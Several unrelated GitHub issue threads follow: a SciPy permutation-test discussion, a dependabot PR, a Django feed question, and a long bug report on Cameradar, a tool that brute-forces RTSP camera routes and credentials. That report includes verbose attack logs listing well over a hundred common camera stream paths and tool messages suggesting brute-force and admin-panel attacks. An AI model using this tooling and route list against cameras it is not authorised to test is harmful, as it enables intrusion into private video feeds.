https://output.circle-artifacts.com/output/job/c9753909-d1df-42f7-a289-be688659c18d/artifacts/0/html/tutorial/stats/resampling.html
And if that breaks, a direct link to the relevant portion is here:
https://github.com/scipy/scipy-cookbook/blob/main/ipython/ResamplingAndMonteCarloMethods/resampling_tutorial_2a.ipynb
These are unpublished but they will soon be available from the main documentation.

@mdhaber : Many thanks for the links! So to sum it up, user @AlexK on Stackoverflow was right and you can't use scipy.stats.permutation_test as a permutation based alternative for scipy.stats.ttest_1samp? Could you maybe provide a short example of what one would do to replace scipy.stats.ttest_1samp with a permutation based method using the code example below? I could then post in on Stack Overflow (or of course, feel free to post an answer on SO and close this issue) Specifically, how would one test if the mean of a vector of observations is significantly greater than zero? The function should return a t-statistic and a p-value.
import numpy as np
from scipy import stats

# create data
np.random.seed(42)
rvs = np.random.normal(loc=5,scale=5,size=100)

# compute one-sample t-test
t,p = stats.ttest_1samp(rvs,popmean=0,alternative='greater')

Yup - I edited my response above to add it there.
I can't think of a strictly "permutation"-based alternative to the one-sample t-test. I need to think about it more before attempting an explanation, but I'm not sure if there is one that makes no assumption about the underlying distribution.
The Monte-Carlo test above requires you to assume the form of the distribution in the null hypothesis. I don't think it has any advantage (at all) over the regular one-sample t-test if you use the normal distribution. However, it does allow you to use other distributions in the null hypothesis, which could be useful if you have some idea of what distribution your data might be drawn from. Also, it allows you to assess the sensitivity of the test to the assumptions underlying the t-test.

@JohannesWiesner I think that the closest thing to what you want is:
import numpy as np
from scipy import stats

# create data
np.random.seed(42)
rvs = np.random.normal(loc=5, scale=5, size=100)

def t_statistic(x, y, axis=-1):
    return stats.ttest_rel(x, y, axis=axis).statistic

res = stats.permutation_test((rvs, -rvs), t_statistic, permutation_type='samples')
print(res)

I need to think a bit more whether this is checking for zero median or zero mean.

Just a flyby note about the SO link that reference GPL code.
Seems like this issue could be close then.

Yes, personally, I don't think we should explicitly add a permutation option to the one-sample t-test right now. It is quite simple to implement with permutation_test as shown above, whereas adding it to ttest_1samp requires as least two new keywords and complicates the return object.
We could close the issue now, or leave it open until I speed up the permutation generation.


Check for updates to GitHub Actions every weekday

Requirements for Contributing to this repository

Fill out the template below. Any pull request that does not include enough information to be reviewed in a timely manner may be closed at the maintainers' discretion.
The pull request must only fix one issue at the time.
The pull request must update the test suite to demonstrate the changed functionality.
After you create the pull request, all status checks must be pass before a maintainer reviews your contribution. For more details, please see CONTRIBUTING.

What does this PR do?
This PR checks for outdated GitHub actions every weekday which this project uses and submits PRs with version bumps automatically.
https://docs.github.com/en/free-pro-team@latest/github/administering-a-repository/keeping-your-actions-up-to-date-with-github-dependabot

fixes #137
Description of the Change

Alternate Designs

An alternate design would be to manually check whether there are any updates to any actions which this project uses. Another option would be to not update at all.
Possible Drawbacks

Annoying and maybe unnecessary PRs from dependabot with version bumps.
Verification Process

Additional Notes

Release Notes

Review checklist (to be filled by reviewers)

[ ] Feature or bug fix MUST have appropriate tests (unit, integration, etc...)
[ ] PR title must be written as a CHANGELOG entry (see why)
[ ] Files changes must correspond to the primary purpose of the PR as described in the title (small unrelated changes should have their own PR)
[ ] PR must have one changelog/ label attached. If applicable it should have the backward-incompatible label attached.
[ ] PR should not have do-not-merge/ label attached.
[ ] If Applicable, issue must have kind/ and severity/ labels attached at least.

Hi @jlosito thanks for your contribution but at this moment we don't want to follow this process for dependencies updates.


feat: provide esm build

build for both esm and cjs
BREAKING CHANGE: no default export. use import { configureMockStore } from '@jedmao/redux-mock-store'.

:tada: This PR is included in version 3.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Aggregation timeline

Hi,
I am creating a system where I need Instagram kind of timeline, where a user can create a post, can follow another user, and can like and share the posts. I wanted to create the aggregated timeline based on users activity on my post
My requirements are:

Aggregated timeline (counts of like and share against that user e.g. Bryan and 10 other like this post)
If someone does any activity like, share than that post should come at top of my timeline

Please let me know if the above mentioned is possible or not. If yes how can I proceed?
Any help would be highly appreciated.
Thanks

Of cause it can, but you have do some tricky database query.

This should be possible using Collections from: https://www.w3.org/TR/activitystreams-core/#collections.
Hopefully someone can implement something like this, as I'd definitely use it!

Hi,
I would really love this feature as well! I tried to aggregate the feed like this:
q = activities.values('verb').annotate(cnt = Count('verb'))
But this doesn't work, as annotations with GFKquerysets don't work properly in Django.
Any solutions for this one? :)
If this need is solved my feed would be finally finished!!
Cheers

Anybody ever figure this out?


Allow Storage of Compressed Associated Files from Rest

This is not as important now that there is WiredTiger but the functionality is already there and just needs to be exposed.

This may of of limited use due to to wired tiger


Digest authentication no longer works

Context
Both binary and docker releases
Any commit since digest authentication was added
Environment
Any OS
Issue
Making any requests with digest authentication causes the following issue:
*   Trying <IP_ADDRESS>:8554...
* TCP_NODELAY set
* Connected to <IP_ADDRESS> (<IP_ADDRESS>) port 8554 (#0)
* Server auth using Digest with user 'ubnt'
> DESCRIBE rtsp://ubnt:administrator@<IP_ADDRESS>:8554/live.sdp RTSP/1.0
CSeq: 1
Accept: application/sdp

< RTSP/1.0 401 Unauthorized
< CSeq: 1
< WWW-Authenticate: Digest realm="GStreamer RTSP Server", nonce="3034e78651e4e61e"
< Server: GStreamer RTSP server
< Date: Sun, 12 Jan 2020 09:36:53 GMT
<
* Connection #0 to host <IP_ADDRESS> left intact
* Issue another request to this URL: 'rtsp://ubnt:administrator@<IP_ADDRESS>:8554/live.sdp'
* Protocol "rtsp" not supported or disabled in libcurl
* Closing connection -1

* Protocol "rtsp" not supported or disabled in libcurl

While when using basic authentication or no authentication, streams are accessed without any issue, and this log never appears.

Hi @vincyrei !
Thanks for opening this issue, I'll look into it :) You're not the first one to report those Perform failed: curl: Unsupported protocol so there might be an underlying issue here.
I've used the digest auth recently with Cameradar and didn't see any issues though, so it might be linked to something specific I can't reproduce on my network, in which case I'll let you know if I need more logs/information to debug this issue :)
Thanks again and have a great day!

I'll look into it next Saturday

Hi @vincyrei !
I think I see what the problem is. The request that is supposed to detect that your camera uses digest authentication does not work on your camera.
I'm not sure why that is, since my digest-auth cameras are working fine with Cameradar, so there must be something slightly different:
	AUTH_NONE                      = C.CURLAUTH_NONE & (1<<32 - 1)
	AUTH_BASIC                     = C.CURLAUTH_BASIC & (1<<32 - 1)
	AUTH_DIGEST                    = C.CURLAUTH_DIGEST & (1<<32 - 1)
	AUTH_NEGOTIATE                 = C.CURLAUTH_NEGOTIATE & (1<<32 - 1)
	AUTH_GSSNEGOTIATE              = C.CURLAUTH_GSSNEGOTIATE & (1<<32 - 1)
	AUTH_GSSAPI                    = C.CURLAUTH_GSSAPI & (1<<32 - 1)
	AUTH_NTLM                      = C.CURLAUTH_NTLM & (1<<32 - 1)
	AUTH_DIGEST_IE                 = C.CURLAUTH_DIGEST_IE & (1<<32 - 1)
	AUTH_NTLM_WB                   = C.CURLAUTH_NTLM_WB & (1<<32 - 1)
	AUTH_ONLY                      = C.CURLAUTH_ONLY & (1<<32 - 1)
	AUTH_ANY                       = C.CURLAUTH_ANY & (1<<32 - 1)
	AUTH_ANYSAFE                   = C.CURLAUTH_ANYSAFE & (1<<32 - 1)

These are the auth types supported by CURL, and currently Cameradar only uses the first three, none, basic and digest. I'm guessing your camera actually uses a NEGOTIATE-type auth or maybe DIGEST_IE, however I can't know until we test it :)
I made a branch (show-unknown-auth-types) on which Cameradar should show, in the logs, which authentication type is actually found. Could you run Cameradar from this branch and let me know, so that I try adding it to the supported protocols?
Thanks 🙏
Here's how you should do it:

From the root of the cameradar repository
git checkout show-unknown-auth-types // To get the updated version of cameradar
docker build -t cameradar . // To build this custom version
docker run -t cameradar -t <IP_ADDRESS> -v // Here don't forget to NOT write ullaakut/cameradar but just cameradar in order to use your new image

Good morning, sorry for the delay with which I write to you.
Available:		✖
IP address:		<IP_ADDRESS>
RTSP port:		554
Username:		not found
Password:		not found
RTSP route:		/

2/3 TEST ullaakut/rtspatt with digest aut
root@kali:~# docker run -p 8554:8554 -e RTSP_AUTHENTICATION_METHOD=digest -e RTSP_USERNAME=admin -e RTSP_PASSWORD=12345 -e RTSP_PORT=8554 ullaakut/rtspatt
and
root@kali:~/cameradar# docker run --net=host -t cameradar -t localhost -v
Loading credentials...ok

Loading credentials dictionary from path "/app/dictionaries/credentials.json"
Loaded 14 usernames and 33 passwords
Loading routes...ok
Loading routes dictionary from path "/app/dictionaries/routes"
Loaded 182 routes
Scanning the network...ok
Found 1 RTSP streams
Attacking routes of 1 streams...ok
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554//live/ch01_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/0/1:1/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/0/usrnm:pwd/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/0/video1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1.AMP RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1/h264major RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1/stream1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/11 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/12 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/125 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1080p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1440p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/480p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/4K RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/666 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/720p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/AVStream1_1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/CAM_ID.password.mp2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/CH001.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/GetData.cgi RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/HD RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/HighResolutionVideo RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/LowResolutionVideo RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/MediaInput/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/MediaInput/mpeg4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ONVIF/MediaInput RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ONVIF/MediaInput?profile=4_def_profile6 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/StdCh1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/Streaming/Channels/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/Streaming/Unicast/channels/101 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/StreamingSetting?version=1.0&action=getRTSPStream&ChannelID=1&ChannelName=Channel1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/VideoInput/1/h264/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/VideoInput/1/mpeg4/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/access_code RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/access_name_for_stream_1_to_5 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/api/mjpegvideo.cgi RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/av0_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/av2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/avc RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/avn=2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/axis-media/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/axis-media/media.amp?camera=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/axis-media/media.amp?videocodec=h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=0&subtype=0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=1&subtype=0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=1&subtype=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=1&subtype=1&unicast=true&proto=Onvif RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam0_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam0_1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/h264/multicast RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/mjpeg RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/mpeg4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/mpeg4?user='username'&pwd='password' RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/onvif-h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/camera.stm RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch00/0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch001.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch01.264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch01.264?  RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch01.264?ptype=tcp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0_0.h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0_unicast_firststream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0_unicast_secondstream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch1-s1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/channel1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/gnz_media/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264/ch1/sub/av_stream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264Preview_01_main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264Preview_01_sub RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264_vga.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/image.mpg RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/media.sav RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/media.sav?channel=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/video.asf RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/video.sav RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ioImage/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ipcam.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ipcam_h264.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ipcam_mjpeg.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live RTSP/1.0 > 404
Perform failed: curl: Unsupported protocol
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/av0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/ch0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/ch00_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/ch01_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/main0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live/mpeg4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live1.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live3.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live_mpeg4.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live_st1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/livestream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/media RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/media.amp?streamprofile=Profile1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/media/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/media/video1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/medias2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mjpeg/media.smp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mp4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpeg/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpeg4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpeg4/1/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpeg4/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpeg4/media.smp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpeg4unicast RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/mpg4/rtsp.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/multicaststream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/now.mp4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/nph-h264.cgi RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/nphMpeg4/g726-640x RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/nphMpeg4/g726-640x48 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/nphMpeg4/g726-640x480 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/nphMpeg4/nil-320x240 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/onvif-media/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/onvif1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/pass@<IP_ADDRESS>:6667/blinkhd RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/play1.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/play2.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/profile2/media.smp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/profile5/media.smp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtpvideo1.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtsp_live0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtsp_live1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtsp_live2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtsp_tunnel RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtsph264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/rtsph2641080p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/stream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/stream/0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/stream/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/stream/live.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/stream.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/stream1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/streaming/channels/0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/streaming/channels/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/streaming/channels/101 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/tcp/av0_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/test RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/trackID=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ucast/11 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/udp/av0_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/udp/unicast/aiphone_H264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/udpstream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/user.pin.mp2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/user=admin&password=&channel=1&stream=0.sdp? RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/user=admin&password=&channel=1&stream=0.sdp?real_stream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/user=admin_password=?????_channel=1_stream=0.sdp?real_stream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/user=admin_password=R5XFY888_channel=1_stream=0.sdp?real_stream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/user_defined RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/v2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.3gp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.mjpg RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.mp4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.pro1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.pro2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video.pro3 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video0.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video1.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/video1+audio1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/videoMain RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/videoinput_1/h264_1/media.stm RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/vis RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/wfov RTSP/1.0 > 404
Validating that streams are accessible...ok
Perform failed: curl: Unsupported protocol
✖	Admin panel URL:	http://<IP_ADDRESS>/ You can use this URL to try attacking the camera's admin panel instead.
Available:		✖
IP address:		<IP_ADDRESS>
RTSP port:		8554
Auth type:		digest
Username:		not found
Password:		not found
RTSP route:		/live.sdp

✖ Streams were found but none were accessed. They are most likely configured with secure credentials and routes. You can try adding entries to the dictionary or generating your own in order to attempt a bruteforce attack on the cameras.
3/3 TEST ullaakut/rtspatt with basic aut
root@kali:~# docker run -p 8554:8554 -e RTSP_USERNAME=admin -e RTSP_PASSWORD=12345 -e RTSP_PORT=8554 ullaakut/rtspatt
and
root@kali:~/cameradar# docker run --net=host -t cameradar -t localhost -v
Loading credentials...ok

Loading credentials dictionary from path "/app/dictionaries/credentials.json"
Loaded 14 usernames and 33 passwords
Loading routes...ok
Loading routes dictionary from path "/app/dictionaries/routes"
Loaded 182 routes
Scanning the network...ok
Found 1 RTSP streams
Attacking routes of 1 streams...ok
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554//live/ch01_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/0/1:1/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/0/usrnm:pwd/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/0/video1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1.AMP RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1/h264major RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1/stream1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/11 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/12 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/125 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1080p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/1440p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/480p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/4K RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/666 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/720p RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/AVStream1_1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/CAM_ID.password.mp2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/CH001.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/GetData.cgi RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/HD RTSP/1.0 > 404
